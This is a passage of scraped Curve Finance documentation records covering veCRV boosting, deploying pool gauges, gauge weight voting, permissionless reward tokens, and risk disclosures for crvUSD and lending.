depend on the amount and duration of the vote lock. A lock can be extended, and CRV can be added to it at any point, but having CRV with different expiry dates is not possible. After creating a lock, the next step is to apply the boost. Applying the boost Proceed to the minter page: https://dao.curve.fi/minter/gauges If the new boost is visible after 'Current boost:', then no further action is required. If the current boost hasn't updated, it may be necessary to claim CRV from each of the gauges where liquidity is provided to update the boost. After doing so, the boost should be visible. Locking your Boost Boosts are only updated when a withdrawal, deposit, or claim is made from a liquidity gauge Boost Info The list of pools and boost/reward information has been relocated from the minter page. This information can now be found on each pool page on the classic.curve.fi site. Alternatively, this information is also available in the new UI ( curve.fi ) under the \"Your Details\" section on the pool page. Note: The new UI does not display future boost yet. Visit the old or new dashboard to see all your pools! Formula The boost mechanism calculates the earning weight of the liquidity you provide to pools and vaults. If you have enough voting weight (veCRV) you will be able to boost the earning weight of the liquidity you provide by up to 2.5x. This means if you have a boost of 2.5x and deposit $10,000 of value to a pool your rewards are for $25,000 of value in the pool. The formula for calculating your boost ( \\(B\\) ) is given below. \\(B\\) has a maximum of 2.5 so if the formula gives a value greater than 2.5 then your boost is 2.5. \\[B = 1.5 \\times \\frac{D \\times v}{V \\times d} + 1\\] Where: \\(B\\) is your rewards boost (if it's more than 2.5 it just equals 2.5). \\(d\\) is the value you deposit, in USD. \\(D\\) is the total value deposited to the pool's reward gauge, in USD. \\(v\\) is the amount of veCRV you have (vote weight). \\(V\\) is the total veCRV in the system (total vote weight) click here to find the current amount. Back to top", "labels": ["Documentation"]}, {"title": "Creating a pool gauge", "html_url": "https://resources.curve.fi/reward-gauges/creating-a-pool-gauge/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Creating a pool gauge Table of contents Deploying a Pool Gauge with the UI Pool Types: Deploy Mainnet Pool Gauge Deploy Sidechain Pool Gauge Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan Deploy a Gauge for a Sidechain Pool via Etherscan Deploying the Sidechain (Child) Gauge Deploying the Ethereum Mainchain Root (Parent) Gauge Submit a DAO Vote Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Deploying a Pool Gauge with the UI Pool Types: Deploy Mainnet Pool Gauge Deploy Sidechain Pool Gauge Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan Deploy a Gauge for a Sidechain Pool via Etherscan Deploying the Sidechain (Child) Gauge Deploying the Ethereum Mainchain Root (Parent) Gauge Submit a DAO Vote Home Reward Gauges Creating a pool gauge You can deploy the gauge directly through the UI if the gauge is for a pool . To do so go to the following page: https://curve.fi/#/ethereum/deploy-gauge . If you would like to deploy a gauge for a lending market , then follow the guide on the Create Lending Market page. Deploying a Pool Gauge with the UI Go to the Curve page to deploy a gauge here: https://curve.fi/#/ethereum/deploy-gauge . This page has a switch with 2 options: Deploy Mainnet Gauge - Deploy a gauge for a pool on Ethereum Mainnet Deploy Sidechain Gauge - Deploy a gauge for a pool on any other chain Curve has deployed to. These different options have slightly different processes for deploying the gauge, but both options require that you choose the correct pool type for the gauge that is being deployed. Pool Types: Stableswap - a pool with up to 8 pegged assets e.g., USDC and USDT Two Coin Cryptoswap - a pool with 2 volatile assets e.g., USDC and ETH Three Coin Cryptoswap - a pool with 3 volatile assets e.g., USDC, ETH and CRV Stableswap (old) - an old pool with pegged assets e.g., USDC and USDT. Two Coin Cryptoswap (old) - an old pool with 2 volatile assets e.g., USDC and ETH A pool is classified as old if it is not a New Generation (NG) pool. If the pool was deployed from 2024 onwards it should be a NG pool. If you are not sure on the pool type then try all options when deploying the gauge, the UI will show an error if the wrong option is chosen or the pool already has a gauge deployed. Deploy Mainnet Pool Gauge Go to the Deploy Gauge page, and make sure the switch in the right hand corner is set to the left as shown below. The \"Deploy Mainnet Gauge\" screen should be visible as below. Simply input the pool address (0x...) and select the pool type from the drop down menu . Note the pool type may be pre-selected for you, if this is the case, this does not need to be changed . After the options have been inputted, click on deploy gauge and submit the transaction using your preferred wallet. The UI will show an error if the incorrect pool type is selected, or a gauge already exists for the pool, so there is no harm in trying all options if you are unsure of the pool type. After clicking on deploy and the transaction is confirmed the gauge is deployed. A vote can then be created to add it to the gauge controller . Adding the gauge to the gauge controller allows the gauge to receive CRV rewards for stakers when the gauge is allocated gauge weight . Deploy Sidechain Pool Gauge Sidechain gauges (the same as L2 gauges) work differently to a mainnet gauge. They have a gauge on the sidechain which distributes rewards, as well as a mirror gauge on Ethereum mainnet so that the gauge can receive gauge weight and CRV inflation rewards. This parent-child relationship is required because all Curve governance currently happens on Ethereum Mainnet. Warning The same address must deploy the gauge both on mainnet and the sidechain for this process to work. To deploy a sidechain gauge go to the Deploy Gauge page. The click the switch so it's on the right as shown below. The \"Deploy Sidechain Gauge\" screen will then be shown. Then connect to the chain you would like to deploy the sidechain gauge to, which is the chain the pool resides on. In this example we are choosing Base as shown below, after choosing and connecting to the network, Step 1 of deploying the sidechain gauge will be shown. For step 1 simply input the LP Token Address (same as pool address for newer pools, but can be different for older pools) and select the pool type from the drop down menu and click deploy gauge . The UI will show an error if the incorrect pool type is selected, or a gauge already exists for the pool, so there is no harm in trying all options if you are unsure of the pool type. After the gauge has been deployed on the sidechain (called the child gauge), the mirror gauge must be deployed on Ethereum Mainnet (the parent gauge), this connects the Sidechain to Ethereum and Curve governance. To go to step 2 click on the little arrow shown in the red rectangle in the picture below: Then choose the network the pool resides by clicking on the Network dropdown menu, in this example we have chosen base, as that's where the sidechain gauge was deployed. The same pool type as in step 1 must be selected carefully in step 2, as the UI will not raise an error if the wrong option is selected. Then we input the LP Token address (pool address) on the L2. The LP Token Address in step 2 is the same address as used for step 1 . After clicking on deploy and the transaction is confirmed, the gauge is deployed and a vote can be created to add it to the gauge controller . Adding the gauge to the gauge controller allows the gauge to receive CRV rewards for stakers when the gauge is allocated gauge weight . Deploy a Gauge for an Ethereum Mainnet Pool via Etherscan In addition to the UI, there is an option to deploy the gauge directly through Etherscan. If the pool was deployed recently, check the Deployment Addresses for the factory contracts, otherwise use the deployment transaction to find which contract deployed the pool/lending market, this will be the factory contract. Warning Calling deploy_gauge on Etherscan will only work if the function is called on the Factory contract that also deployed the pool. To navigate to this page, first search for the corresponding Factory contract on Etherscan. Then, go to Contract -> Write Contract -> deploy_gauge . Then insert the pool address you want to add a gauge for, press on Write and sign the transaction. Before deploying the gauge, ensure you connect your wallet by clicking the Connect to Web3 button. Deploy a Gauge for a Sidechain Pool via Etherscan To deploy a sidechain gauge we have to deploy 2 different gauges which link together: Child Gauge - This is the gauge on the sidechain, it is deployed first. Root (Parent) Gauge - This is the gauge on Ethereum Mainnet, it is deployed after the child and links the child gauge to mainnet. The root gauge can be added to the gauge controller, allowing CRV inflation rewards to flow to the sidechain gauge. Warning When deploying the Child Gauge and Root Gauge for a sidechain pool, they must be deployed using the same address and the same salt for both gauges . This creates the same address for the gauge on the sidechain and ethereum. If the addresses are not the same, the gauges cannot be linked. Deploying the Sidechain (Child) Gauge To deploy the sidechain child gauge go to Deployment Addresses for Sidechain Gauge Factories . Find the ChildLiquidityGaugeFactory address for your sidechain and click on it. This will take you to the contract page on the sidechain's block explorer. Then go to Contract -> Write Contract -> Connect to Web3 . After your wallet is connected, find the deploy_gauge function. There may be multiple deploy_gauge functions, this is because there is an optional parameter called _manager . If the function doesn't have this option, the manager will be set to your address. It is required that your address is the manager for this gauge, otherwise the root gauge will not be linked to this child gauge. To call the function first input the _lp_token address for the pool, this is the same as the pool address for newer pools, but can be different for older pools. Then input your _salt , salt is used to create the address for your gauge, this can be anything, but salt must be the same when deploying this gauge and later when deploying the root gauge , read more about salt here . Input your address as the _manager address if it is required, then click on write and submit the transaction. After the transaction is confirmed the sidechain gauge is deployed. Deploying the Ethereum Mainchain Root (Parent) Gauge After the sidechain child gauge has been successfully deployed, the Ethereum mainchain root gauge can be deployed. To do so go back to the Deployment Addresses for Sidechain Gauge Factories . You should see the table below: The correct RootLiquidityGaugeFactory contract on Ethereum must be chosen. Most root gauges for sidechains are deployed using the top contract boxed in blue, but some sidechains use their own special contracts, e.g., see the contract for Fractal boxed in red, or the BSC contract boxed in yellow. If there isn't a specific RootLiquidityGaugeFactory for your sidechain, then use the first one. Once the correct contract is found click on the address and you will be taken to the contract page on etherscan. Once again go to Contract -> Write Contract -> Connect to Web3 to connect your wallet as shown above. This must be the same wallet that deployed the sidechain child gauge . Then click on the deploy_gauge function. In this function the payableAmount can be inputted as 0, the _chain_id must be the chain id of the sidechain your pool and gauge is on. This can be easily found from chainlist.org . The _salt must be the same as the salt used to deploy the sidechain child gauge. Click on write , and submit the transaction, after this is complete the gauge is root gauge is deployed and this process is complete. You can now submit a gauge vote to get the root gauge added to the gauge controller, see the process below. Submit a DAO Vote In order for a gauge to become eligible to receive CRV emissions, it has to be added to the GaugeController. This needs to be approved by the DAO. Once you've created your gauge, you can submit it to the DAO for a vote: https://classic.curve.fi/factory/create_vote . If the gauge is for a pool on a sidechain, input the parent gauge address (Ethereum gauge address) here. The address that submits must have 2500 veCRV in order to create a vote. Once the gauge has been submitted, politics take over. You may want to visit the governance forum and explain why your pool should be made eligible for rewards. Governance Forum Back to top", "labels": ["Documentation"]}, {"title": "Gauge weights", "html_url": "https://resources.curve.fi/reward-gauges/gauge-weights/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Gauge weights Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Home Reward Gauges Gauge weights What are gauge weights? Simply put, a gauge weight translates into how much of the daily CRV inflation it receives. For example on the below chart, the Y pool is currently receiving around 72% of the daily CRV inflation. This means that all liquidity providers in the Y pool share 72% of the daily CRV. You can find each liquidity gauge relative weight on this page: https://dao.curve.fi/minter/gauges Why are gauge weights so important? Because those weights decide where the CRV inflation goes, it allows the DAO to control where most of the liquidity should go and balance liquidity. It's a powerful tool for voters that must be used responsibly. The gauge weight is updated once a week on Thursdays. Who can vote for gauge weights? Anybody who has vote locked CRV can vote to direct its voting power towards one or multiple Curve pools. How can I vote? Visit this link: https://dao.curve.fi/gaugeweight Select the gauge you would like to put your voting weight towards, enter an amount in BPS (10,000 = 100% the maximum) and confirm your transaction. How often can I move my voting weight? You can change your voting weight once every 10 days. What happens when I add additional CRV to my existing lock or extend the locktime? Adding more $CRV to your lock or extending the locktime increases your veCRV balance. This increase is not automatically accounted for in your current gauge weight votes. If you want to allocate all of your newly acquired voting power, make sure to re-vote. Warning Resetting your gauge weight before re-voting means you'll need to wait 10 days to vote for the gauges whose weight you've reset. So, please ensure you simply re-vote; there is no need to reset your gauge weight votes before voting again. Back to top", "labels": ["Documentation"]}, {"title": "Overview", "html_url": "https://resources.curve.fi/reward-gauges/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Overview Table of contents Gauge Weights Gauge Weight Voting When are the weights and rewards updated? Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Gauge Weights Gauge Weight Voting When are the weights and rewards updated? Home Reward Gauges Overview On Curve Finance, CRV inflation goes to users who stake in Reward Gauges in Pools and Lending markets. Many Curve pools and lending markets have Reward Gauges. By staking liquidity provider tokens in these gauges, users earn rewards proportional to their share of the total staked value. Some special gauges also exist to fund specific initiatives, like Vyper development (veFunder-vyper). Gauge Weights For a Gauge to receive CRV emissions it must be added to the GaugeController . The DAO must vote and approve each new gauge added, more details here . Each Gauge added to the GaugeController has a weight and a type. The weights represent how much of the daily [CRV inflation]](../crv-token/supply-distribution.md#community-emissions-crv-inflation) will be received by the rewards gauge. Gauge Weight Voting The weight system allow the Curve DAO to dictate where the CRV inflation should go. You can vote at this address: https://dao.curve.fi/gaugeweight By doing so, users with veCRV can put direct their voting power towards the pool, lending market or other gauge they think should receive the most CRV. When are the weights and rewards updated? On Ethereum mainnet weights and rewards are updated every Thursday 00:00 UTC . On L2s and other chains, weights and rewards start on flow to intermediary gauge contracts on Ethereum mainnet every Thursday 00:00 UTC, then from the following Thursday 00:00 UTC (1 week later) they flow to gauge stakers on the L2s. So cross-chain gauge rewards are 1 week behind Ethereum mainnet . Back to top", "labels": ["Documentation"]}, {"title": "Permissionless Token Rewards ", "html_url": "https://resources.curve.fi/reward-gauges/permissionless-rewards/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Permissionless rewards Table of contents Setting the Reward Token and Distributor Address Approving the Reward Token for Deposit Depositing the Reward Token Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Setting the Reward Token and Distributor Address Approving the Reward Token for Deposit Depositing the Reward Token Home Reward Gauges Permissionless Token Rewards This section explains the process of setting any token reward using Etherscan. It's assumed that the user possesses some familiarity with Etherscan or are competent in executing the transaction through an alternative tool. These rewards are called permissionless as the CurveDAO does not control them . They are not completely permissionless however, as only the admin or manager of the gauge can approve and add these token rewards . Warning Note that Curve has employed various gauge versions over time. If your attempts are unsuccessful, it might be due to version differences. Please don't hesitate to reach out to the Curve team. Permissionless rewards are added in the following flow: Set reward token and distributor address. Approve reward token. Add rewards. Setting the Reward Token and Distributor Address By calling the add_reward function on a specific gauge a token can be added to the gauge's list of approved reward tokens. To call the function the reward token contract address and the distributor address must be specified. The distributor address is the source from which the reward token will be sent to the gauge. Info Ensure you have the required admin/manager permissions for the gauge. The address that deployed the gauge is set as the admin/manager . If you are not admin/manager, the transaction will fail. To identify the manager, check the manager/admin in the \"Read Contract\" section on Etherscan. Some versions of this contract may also allow the factory owner to execute this call. The deployer of the gauge is usually the manager of the gauge if the gauge was deployed via the Factory Contracts. This function should be called only once for a specific reward token. A repeated call to add_reward using a previously set reward token will fail. However, the distributor address for an already added reward token can be updated using the set_reward_distributor function. Over the lifetime of a gauge, a total of 8 different reward tokens can be set. add_reward(_reward_token: address, _distributor: address): Function to add specify a reward token and distributor for the gauge. Once a reward tokens is added, it can not be removed anymore. Parameter Type Description _reward_token address Reward Token Address _distributor address Distributor Address, who can add the Reward Token Approving the Reward Token for Deposit Visit the reward token's contract address (not the gauge contract address) on Etherscan and switch to the \"Write Contract\" tab. Use the approve function, setting the spender as the gauge contract address and specifying the desired amount. approve(_spender : address, _value : uint256) -> bool: Function to approve _spender to transfer _value tokens. Parameter Type Description _spender address Gauge Contract Address _value uint256 Amount to approve Depositing the Reward Token When depositing the reward token to the contract a time period is chosen ( _epoche seconds). After depositing the reward epoch begins, lasting the defined number of seconds chosen by the depositor ( _epoch seconds). Rewards are streamed at a constant rate per second to all gauge stakers over the epoch time period. If no additional rewards of this token are deposited before the end of this time period, the rewards stop when the time period elapses. Reward epochs are token specific. Different reward tokens can have different epoch time periods. If additional rewards for a currently streaming token are added mid epoch, both the newly added tokens and all the remaining tokens are combined (rewards = remaining + new), triggering a fresh epoch for the newly defined period of time. For consistent reward distributions, it's advisable to deposit near the end of an epoch. If replenishing mid-epoch, ensure you compute the appropriate amount for a steady distribution rate. More information here . deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK) Function to deposit _amount of _reward_token into the gauge over the period of _epoch seconds. When depositing it is optional to use the _epoch parameter. This is set to WEEK which means the rewards will be streamed to the gauge stakers over a 1 week period (604800 seconds). Info The _epoch parameter was added in newer versions of the gauge. In older versions, rewards are all streamed over a 1 week period. Parameter Type Description _reward_token address Reward Token Address _amount uint256 Amount to be distributed over the week _epoch uint256 Duration the rewards are distributed across, denominated in seconds. Defaults to a week (604800s). Back to top", "labels": ["Documentation"]}, {"title": "Security & Audits", "html_url": "https://resources.curve.fi/risks-security/security/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Security & Audits Table of contents Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Audits Home Risks, Security & Audits Security & Audits Curve Finance emphasizes its commitment to security by regularly undergoing audits from reputable third-party firms. These audits aim to uncover potential vulnerabilities and ensure that the protocol's smart contracts function as intended. However, as with all DeFi platforms, users should be aware that engaging with Curve Finance carries inherent risks. Despite the thoroughness of audits, they do not guarantee complete security , and potential vulnerabilities might still emerge in the future. Therefore, individuals should always proceed with caution and understand that the use of the protocol is at their own risk . Audits For a detailed look into the audits Curve Finance has undergone, please refer to here . Back to top", "labels": ["Documentation"]}, {"title": "Curve Stablecoin Risk Disclosure", "html_url": "https://resources.curve.fi/risks-security/risks/crvusd/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Home Risks, Security & Audits Risks Curve Stablecoin Risk Disclosure Curve Stablecoin infrastructure enables users to mint crvUSD using a selection of crypto-tokenized collaterals (adding new ones are subject to DAO approval). Positions are managed passively: if the collateral's price decreases, the system automatically sells off collateral in a soft liquidation mode. If the collateral's price increases, the system recovers the collateral. This process could lead to some losses due to liquidation and de-liquidation. Additional information can be found on LLAMMA Overview . Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending: Risk Disclaimer", "html_url": "https://resources.curve.fi/risks-security/risks/lending/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Lending Table of contents Permissionless Markets Risks 1) Unvetted Tokens 2) Oracle Designation 3) Parameter Configuration 4) Governance Borrowing Risks Soft and Hard Liquidation Interest Rates Lending Risks Risk of Illiquidity Risk of Bad Debt crvUSD Risks General Financial Risks Volatility Financial Loss Use of Financial Terms Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Permissionless Markets Risks 1) Unvetted Tokens 2) Oracle Designation 3) Parameter Configuration 4) Governance Borrowing Risks Soft and Hard Liquidation Interest Rates Lending Risks Risk of Illiquidity Risk of Bad Debt crvUSD Risks General Financial Risks Volatility Financial Loss Use of Financial Terms Home Risks, Security & Audits Risks Curve Lending: Risk Disclaimer Curve Lending enables users to permissionlessly create and interact with isolated lending pairs composed of crvUSD, a decentralized stablecoin native to the Curve ecosystem, and various paired tokens. The notifications provided herein address risks associated with Curve Lending activities. The following list is not exhaustive. Users wishing to acquaint themselves with a broader range of general risk disclosures are encouraged to read the Curve Risk Disclosures for Liquidity Providers . Users are also advised to review the public audit reports to assess the security and reliability of the platform before engaging in any lending or 